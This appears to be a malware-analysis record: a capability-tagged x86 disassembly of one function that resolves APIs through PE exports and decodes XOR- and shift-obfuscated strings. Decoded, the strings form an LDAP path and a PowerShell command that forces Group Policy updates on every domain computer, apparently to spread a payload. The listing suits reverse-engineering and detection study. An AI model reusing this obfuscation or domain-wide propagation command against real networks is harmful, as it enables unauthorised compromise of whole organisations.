Function at 0x448a80
Capabilities:
Authenticate hmac
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
push ebx
xor ebx, ebx
mov eax, 0x50
mov dword [ebp - 0x250], ebx
mov ecx, 0x48
mov dword [ebp - 4], ebx
mov word [ebp - 0x28c], ax
mov eax, 0x45
mov word [ebp - 0x28a], cx
mov word [ebp - 0x288], ax
mov eax, 0x54
mov word [ebp - 0x286], ax
mov eax, 0x3e
mov word [ebp - 0x284], ax
mov eax, 0x33
mov word [ebp - 0x282], ax
mov word [ebp - 0x280], ax
mov eax, 0x76
mov word [ebp - 0x27e], ax
mov eax, 0x78
push esi
push edi
mov edi, 0x73
mov word [ebp - 0x27c], di
mov word [ebp - 0x27a], di
mov word [ebp - 0x278], ax
mov eax, 0x57
mov word [ebp - 0x276], cx
mov word [ebp - 0x274], ax
mov eax, 0x49
mov word [ebp - 0x272], ax
mov eax, 4
mov word [ebp - 0x270], ax
movzx eax, word [0x402f8a]
add eax, 4
mov word [ebp - 0x26e], ax
movzx eax, word [0x402f8c]
add eax, 4
mov word [ebp - 0x26c], ax
movzx eax, word [0x402f8e]
add eax, 4
mov word [ebp - 0x26a], ax
movzx eax, word [0x402f90]
add eax, 4
mov word [ebp - 0x268], ax
movzx eax, word [0x402f92]
add eax, 4
mov word [ebp - 0x266], ax
movzx eax, word [0x402f94]
add eax, 4
mov word [ebp - 0x264], ax
movzx eax, word [0x402f96]
add eax, 4
mov word [ebp - 0x262], ax
movzx eax, word [0x402f98]
add eax, 4
mov word [ebp - 0x260], ax
movzx eax, word [0x402f9a]
add eax, 4
mov word [ebp - 0x25e], ax
movzx eax, word [0x402f9c]
add eax, 4
mov word [ebp - 0x25c], ax
movzx eax, word [0x402f9e]
add eax, 4
mov word [ebp - 0x25a], ax
movzx eax, word [0x402fa0]
add eax, 4
mov word [ebp - 0x258], ax
movzx eax, word [0x402fa2]
add eax, 4
mov word [ebp - 0x256], ax
movzx eax, word [0x402fa4]
add eax, 4
mov word [ebp - 0x254], ax
xor eax, eax
mov word [ebp - 0x252], ax
xor ecx, ecx
mov ax, word [ebp - 0x28c]
nop dword [eax]
mov ax, word [ebp + ecx*2 - 0x28c]
movzx eax, ax
add eax, 0xfffffffc
mov word [ebp + ecx*2 - 0x28c], ax
inc ecx
cmp ecx, 0x1d
jb 0x448c40
mov eax, dword [0x4f37c0]
test eax, eax
jne 0x448c6f
call fcn.004123b0
mov dword [0x4f37c0], eax
mov ecx, dword [0x4f37d4]
test ecx, ecx
jne 0x448c88
mov ecx, eax
call fcn.00412760
mov ecx, eax
mov dword [0x4f37d4], ecx
lea eax, [ebp - 0x250]
push eax
push section..text
push 1
push 0
push 0
lea eax, [ebp - 0x28c]
push eax
call ecx
test eax, eax
jns 0x448cb0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x69
mov esi, 0x6a
mov word [ebp - 0x2e0], ax
mov ecx, 0x66
mov word [ebp - 0x2de], si
mov eax, 0x6b
mov word [ebp - 0x2dc], ax
mov edx, 0x79
mov word [ebp - 0x2da], cx
mov eax, 0x7a
mov word [ebp - 0x2d8], ax
mov eax, 0x71
mov word [ebp - 0x2d6], ax
mov eax, 0x53
mov word [ebp - 0x2d4], dx
mov word [ebp - 0x2d2], ax
mov eax, 0x72
mov word [ebp - 0x2d0], cx
mov word [ebp - 0x2ce], ax
mov eax, 0x6e
mov word [ebp - 0x2cc], ax
mov eax, 0x6c
mov word [ebp - 0x2ca], di
mov word [ebp - 0x2c8], ax
mov eax, 0x48
mov word [ebp - 0x2c6], ax
mov eax, 0x74
mov word [ebp - 0x2c4], ax
mov eax, 0x7d
mov word [ebp - 0x2c2], di
mov word [ebp - 0x2c0], dx
mov word [ebp - 0x2be], si
mov word [ebp - 0x2bc], ax
mov eax, 5
mov word [ebp - 0x2ba], dx
mov word [ebp - 0x2b8], ax
movzx eax, word [0x402fb6]
add eax, 5
mov word [ebp - 0x2b6], ax
movzx eax, word [0x402fb8]
add eax, 5
mov word [ebp - 0x2b4], ax
movzx eax, word [0x402fba]
add eax, 5
mov word [ebp - 0x2b2], ax
movzx eax, word [0x402fbc]
add eax, 5
mov word [ebp - 0x2b0], ax
movzx eax, word [0x402fbe]
add eax, 5
mov word [ebp - 0x2ae], ax
movzx eax, word [0x402fc0]
add eax, 5
mov word [ebp - 0x2ac], ax
movzx eax, word [0x402fc2]
add eax, 5
mov word [ebp - 0x2aa], ax
movzx eax, word [0x402fc4]
add eax, 5
mov word [ebp - 0x2a8], ax
movzx eax, word [0x402fc6]
add eax, 5
mov word [ebp - 0x2a6], ax
movzx eax, word [0x402fc8]
add eax, 5
mov word [ebp - 0x2a4], ax
movzx eax, word [0x402fca]
add eax, 5
mov word [ebp - 0x2a2], ax
movzx eax, word [0x402fcc]
add eax, 5
mov word [ebp - 0x2a0], ax
movzx eax, word [0x402fce]
add eax, 5
mov word [ebp - 0x29e], ax
movzx eax, word [0x402fd0]
add eax, 5
mov word [ebp - 0x29c], ax
movzx eax, word [0x402fd2]
add eax, 5
mov word [ebp - 0x29a], ax
movzx eax, word [0x402fd4]
add eax, 5
mov word [ebp - 0x298], ax
movzx eax, word [0x402fd6]
add eax, 5
mov word [ebp - 0x296], ax
movzx eax, word [0x402fd8]
add eax, 5
mov word [ebp - 0x294], ax
movzx eax, word [0x402fda]
add eax, 5
mov word [ebp - 0x292], ax
movzx eax, word [0x402fdc]
add eax, 5
mov word [ebp - 0x290], ax
xor eax, eax
mov word [ebp - 0x28e], ax
xor ecx, ecx
mov ax, word [ebp - 0x2e0]
nop dword [eax]
nop dword [eax + eax]
mov ax, word [ebp + ecx*2 - 0x2e0]
movzx eax, ax
add eax, 0xfffffffb
mov word [ebp + ecx*2 - 0x2e0], ax
inc ecx
cmp ecx, 0x29
jb 0x448f00
mov eax, dword [0x4f37cc]
test eax, eax
jne 0x448f2f
call fcn.00412450
mov dword [0x4f37cc], eax
mov ecx, dword [0x4f378c]
test ecx, ecx
jne 0x448f48
mov ecx, eax
call fcn.004125c0
mov ecx, eax
mov dword [0x4f378c], ecx
lea eax, [ebp - 0x2e0]
push eax
call ecx
mov esi, eax
test esi, esi
je 0x44ac15
mov eax, dword [ebp - 0x250]
lea edx, [ebp - 0x308]
push edx
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
test eax, eax
js 0x44ac15
mov ecx, 0x800
call fcn.004bca70
mov dword [ebp - 4], eax
test eax, eax
je 0x44ac48
mov dword [ebp - 0x24c], 0x54
mov eax, dword [ebp - 0x24c]
xor eax, 0x70
mov word [ebp - 0x248], ax
mov eax, dword [ebp - 0x24c]
inc eax
xor eax, 0x6f
mov word [ebp - 0x246], ax
mov eax, dword [ebp - 0x24c]
add eax, 2
xor eax, 0x77
mov word [ebp - 0x244], ax
mov eax, dword [ebp - 0x24c]
add eax, 3
xor eax, 0x65
mov word [ebp - 0x242], ax
mov eax, dword [ebp - 0x24c]
add eax, 4
xor eax, 0x72
mov word [ebp - 0x240], ax
mov eax, dword [ebp - 0x24c]
add eax, 5
xor eax, 0x73
mov word [ebp - 0x23e], ax
mov eax, dword [ebp - 0x24c]
add eax, 6
xor eax, 0x68
mov word [ebp - 0x23c], ax
mov eax, dword [ebp - 0x24c]
add eax, 7
xor eax, 0x65
mov word [ebp - 0x23a], ax
mov eax, dword [ebp - 0x24c]
add eax, 8
xor eax, 0x6c
mov word [ebp - 0x238], ax
mov eax, dword [ebp - 0x24c]
add eax, 9
xor eax, 0x6c
mov word [ebp - 0x236], ax
mov eax, dword [ebp - 0x24c]
add eax, 0xa
xor eax, 0x2e
mov word [ebp - 0x234], ax
mov eax, dword [ebp - 0x24c]
add eax, 0xb
xor eax, 0x65
mov word [ebp - 0x232], ax
mov eax, dword [ebp - 0x24c]
add eax, 0xc
xor eax, 0x78
mov word [ebp - 0x230], ax
mov eax, dword [ebp - 0x24c]
add eax, 0xd
xor eax, 0x65
mov word [ebp - 0x22e], ax
mov eax, dword [ebp - 0x24c]
add eax, 0xe
xor eax, 0x20
mov word [ebp - 0x22c], ax
mov eax, dword [ebp - 0x24c]
add eax, 0xf
xor eax, 0x2d
mov word [ebp - 0x22a], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x10
xor eax, 0x43
mov word [ebp - 0x228], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x11
xor eax, 0x6f
mov word [ebp - 0x226], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x12
xor eax, 0x6d
mov word [ebp - 0x224], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x13
xor eax, 0x6d
mov word [ebp - 0x222], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x14
xor eax, 0x61
mov word [ebp - 0x220], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x15
xor eax, 0x6e
mov word [ebp - 0x21e], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x16
xor eax, 0x64
mov word [ebp - 0x21c], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x17
xor eax, 0x20
mov word [ebp - 0x21a], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x18
xor eax, 0x22
mov word [ebp - 0x218], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x19
xor eax, 0x47
mov word [ebp - 0x216], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x1a
xor eax, 0x65
mov word [ebp - 0x214], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x1b
xor eax, 0x74
mov word [ebp - 0x212], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x1c
xor eax, 0x2d
mov word [ebp - 0x210], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x1d
xor eax, 0x41
mov word [ebp - 0x20e], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x1e
xor eax, 0x44
mov word [ebp - 0x20c], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x1f
xor eax, 0x43
mov word [ebp - 0x20a], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x20
xor eax, 0x6f
mov word [ebp - 0x208], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x21
xor eax, 0x6d
mov word [ebp - 0x206], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x22
xor eax, 0x70
mov word [ebp - 0x204], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x23
xor eax, 0x75
mov word [ebp - 0x202], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x24
xor eax, 0x74
mov word [ebp - 0x200], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x25
xor eax, 0x65
mov word [ebp - 0x1fe], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x26
xor eax, 0x72
mov word [ebp - 0x1fc], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x27
xor eax, 0x20
mov word [ebp - 0x1fa], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x28
xor eax, 0x2d
mov word [ebp - 0x1f8], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x29
xor eax, 0x66
mov word [ebp - 0x1f6], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x2a
xor eax, 0x69
mov word [ebp - 0x1f4], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x2b
xor eax, 0x6c
mov word [ebp - 0x1f2], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x2c
xor eax, 0x74
mov word [ebp - 0x1f0], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x2d
xor eax, 0x65
mov word [ebp - 0x1ee], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x2e
xor eax, 0x72
mov word [ebp - 0x1ec], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x2f
xor eax, 0x20
mov word [ebp - 0x1ea], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x30
xor eax, 0x2a
mov word [ebp - 0x1e8], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x31
xor eax, 0x20
mov word [ebp - 0x1e6], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x32
xor eax, 0x2d
mov word [ebp - 0x1e4], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x33
xor eax, 0x53
mov word [ebp - 0x1e2], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x34
xor eax, 0x65
mov word [ebp - 0x1e0], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x35
xor eax, 0x61
mov word [ebp - 0x1de], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x36
xor eax, 0x72
mov word [ebp - 0x1dc], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x37
xor eax, 0x63
mov word [ebp - 0x1da], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x38
xor eax, 0x68
mov word [ebp - 0x1d8], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x39
xor eax, 0x62
mov word [ebp - 0x1d6], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x3a
xor eax, 0x61
mov word [ebp - 0x1d4], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x3b
xor eax, 0x73
mov word [ebp - 0x1d2], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x3c
xor eax, 0x65
mov word [ebp - 0x1d0], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x3d
xor eax, 0x20
mov word [ebp - 0x1ce], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x3e
xor eax, 0x27
mov word [ebp - 0x1cc], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x3f
xor eax, 0x25
mov word [ebp - 0x1ca], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x40
xor eax, 0x73
mov word [ebp - 0x1c8], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x41
xor eax, 0x27
mov word [ebp - 0x1c6], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x42
xor eax, 0x20
mov word [ebp - 0x1c4], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x43
xor eax, 0x7c
mov word [ebp - 0x1c2], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x44
xor eax, 0x20
mov word [ebp - 0x1c0], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x45
xor eax, 0x66
mov word [ebp - 0x1be], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x46
xor eax, 0x6f
mov word [ebp - 0x1bc], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x47
xor eax, 0x72
mov word [ebp - 0x1ba], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x48
xor eax, 0x65
mov word [ebp - 0x1b8], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x49
xor eax, 0x61
mov word [ebp - 0x1b6], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x4a
xor eax, 0x63
mov word [ebp - 0x1b4], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x4b
xor eax, 0x68
mov word [ebp - 0x1b2], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x4c
xor eax, 0x7b
mov word [ebp - 0x1b0], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x4d
xor eax, 0x20
mov word [ebp - 0x1ae], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x4e
xor eax, 0x49
mov word [ebp - 0x1ac], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x4f
xor eax, 0x6e
mov word [ebp - 0x1aa], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x50
xor eax, 0x76
mov word [ebp - 0x1a8], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x51
xor eax, 0x6f
mov word [ebp - 0x1a6], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x52
xor eax, 0x6b
mov word [ebp - 0x1a4], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x53
xor eax, 0x65
mov word [ebp - 0x1a2], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x54
xor eax, 0x2d
mov word [ebp - 0x1a0], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x55
xor eax, 0x47
mov word [ebp - 0x19e], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x56
xor eax, 0x50
mov word [ebp - 0x19c], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x57
xor eax, 0x55
mov word [ebp - 0x19a], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x58
xor eax, 0x70
mov word [ebp - 0x198], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x59
xor eax, 0x64
mov word [ebp - 0x196], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x5a
xor eax, 0x61
mov word [ebp - 0x194], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x5b
xor eax, 0x74
mov word [ebp - 0x192], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x5c
xor eax, 0x65
mov word [ebp - 0x190], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x5d
xor eax, 0x20
mov word [ebp - 0x18e], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x5e
xor eax, 0x2d
mov word [ebp - 0x18c], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x5f
xor eax, 0x63
mov word [ebp - 0x18a], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x60
xor eax, 0x6f
mov word [ebp - 0x188], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x61
xor eax, 0x6d
mov word [ebp - 0x186], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x62
xor eax, 0x70
mov word [ebp - 0x184], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x63
xor eax, 0x75
mov word [ebp - 0x182], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x64
xor eax, 0x74
mov word [ebp - 0x180], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x65
xor eax, 0x65
mov word [ebp - 0x17e], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x66
xor eax, 0x72
mov word [ebp - 0x17c], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x67
xor eax, 0x20
mov word [ebp - 0x17a], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x68
xor eax, 0x24
mov word [ebp - 0x178], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x69
xor eax, 0x5f
mov word [ebp - 0x176], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x6a
xor eax, 0x2e
mov word [ebp - 0x174], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x6b
xor eax, 0x6e
mov word [ebp - 0x172], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x6c
xor eax, 0x61
mov word [ebp - 0x170], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x6d
xor eax, 0x6d
mov word [ebp - 0x16e], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x6e
xor eax, 0x65
mov word [ebp - 0x16c], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x6f
xor eax, 0x20
mov word [ebp - 0x16a], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x70
xor eax, 0x2d
mov word [ebp - 0x168], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x71
xor eax, 0x66
mov word [ebp - 0x166], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x72
xor eax, 0x6f
mov word [ebp - 0x164], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x73
xor eax, 0x72
mov word [ebp - 0x162], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x74
xor eax, 0x63
mov word [ebp - 0x160], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x75
xor eax, 0x65
mov word [ebp - 0x15e], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x76
xor eax, 0x20
mov word [ebp - 0x15c], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x77
xor eax, 0x2d
mov word [ebp - 0x15a], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x78
xor eax, 0x52
mov word [ebp - 0x158], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x79
xor eax, 0x61
mov word [ebp - 0x156], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x7a
xor eax, 0x6e
mov word [ebp - 0x154], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x7b
xor eax, 0x64
mov word [ebp - 0x152], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x7c
xor eax, 0x6f
mov word [ebp - 0x150], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x7d
xor eax, 0x6d
mov word [ebp - 0x14e], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x7e
xor eax, 0x44
mov word [ebp - 0x14c], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x7f
xor eax, 0x65
mov word [ebp - 0x14a], ax
mov eax, dword [ebp - 0x24c]
sub eax, 0xffffff80
xor eax, 0x6c
mov word [ebp - 0x148], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x81
xor eax, 0x61
mov word [ebp - 0x146], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x82
xor eax, 0x79
mov word [ebp - 0x144], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x83
xor eax, 0x49
mov word [ebp - 0x142], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x84
xor eax, 0x6e
mov word [ebp - 0x140], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x85
xor eax, 0x4d
mov word [ebp - 0x13e], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x86
xor eax, 0x69
mov word [ebp - 0x13c], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x87
xor eax, 0x6e
mov word [ebp - 0x13a], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x88
xor eax, 0x75
mov word [ebp - 0x138], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x89
xor eax, 0x74
mov word [ebp - 0x136], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x8a
xor eax, 0x65
mov word [ebp - 0x134], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x8b
xor eax, 0x73
mov word [ebp - 0x132], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x8c
xor eax, 0x20
mov word [ebp - 0x130], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x8d
xor eax, 0x30
mov word [ebp - 0x12e], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x8e
xor eax, 0x7d
mov word [ebp - 0x12c], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x8f
xor eax, 0x22
mov word [ebp - 0x12a], ax
mov eax, dword [ebp - 0x24c]
add eax, 0x90
mov word [ebp - 0x128], ax
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030da]
add eax, 0x91
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x126], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030dc]
add eax, 0x92
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x124], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030de]
add eax, 0x93
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x122], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030e0]
add eax, 0x94
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x120], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030e2]
add eax, 0x95
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x11e], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030e4]
add eax, 0x96
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x11c], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030e6]
add eax, 0x97
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x11a], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030e8]
add eax, 0x98
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x118], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030ea]
add eax, 0x99
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x116], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030ec]
add eax, 0x9a
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x114], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030ee]
add eax, 0x9b
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x112], cx
mov eax, dword [ebp - 0x24c]
add eax, 0x9c
movzx eax, ax
movzx ecx, word [0x4030f0]
xor ecx, eax
mov word [ebp - 0x110], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030f2]
add eax, 0x9d
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x10e], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030f4]
add eax, 0x9e
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x10c], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030f6]
add eax, 0x9f
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x10a], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030f8]
add eax, 0xa0
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x108], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030fa]
add eax, 0xa1
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x106], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030fc]
add eax, 0xa2
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x104], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4030fe]
add eax, 0xa3
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x102], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403100]
add eax, 0xa4
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x100], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403102]
add eax, 0xa5
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xfe], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403104]
add eax, 0xa6
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xfc], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403106]
add eax, 0xa7
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xfa], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403108]
add eax, 0xa8
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xf8], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40310a]
add eax, 0xa9
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xf6], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40310c]
add eax, 0xaa
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xf4], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40310e]
add eax, 0xab
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xf2], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403110]
add eax, 0xac
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xf0], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403112]
add eax, 0xad
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xee], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403114]
add eax, 0xae
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xec], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403116]
add eax, 0xaf
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xea], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403118]
add eax, 0xb0
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xe8], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40311a]
add eax, 0xb1
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xe6], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40311c]
add eax, 0xb2
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xe4], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40311e]
add eax, 0xb3
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xe2], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403120]
add eax, 0xb4
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xe0], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403122]
add eax, 0xb5
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xde], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403124]
add eax, 0xb6
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xdc], cx
mov eax, dword [ebp - 0x24c]
add eax, 0xb7
movzx eax, ax
movzx ecx, word [0x403126]
xor ecx, eax
mov word [ebp - 0xda], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403128]
add eax, 0xb8
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xd8], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40312a]
add eax, 0xb9
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xd6], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40312c]
add eax, 0xba
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xd4], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40312e]
add eax, 0xbb
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xd2], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403130]
add eax, 0xbc
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xd0], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403132]
add eax, 0xbd
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xce], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403134]
add eax, 0xbe
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xcc], cx
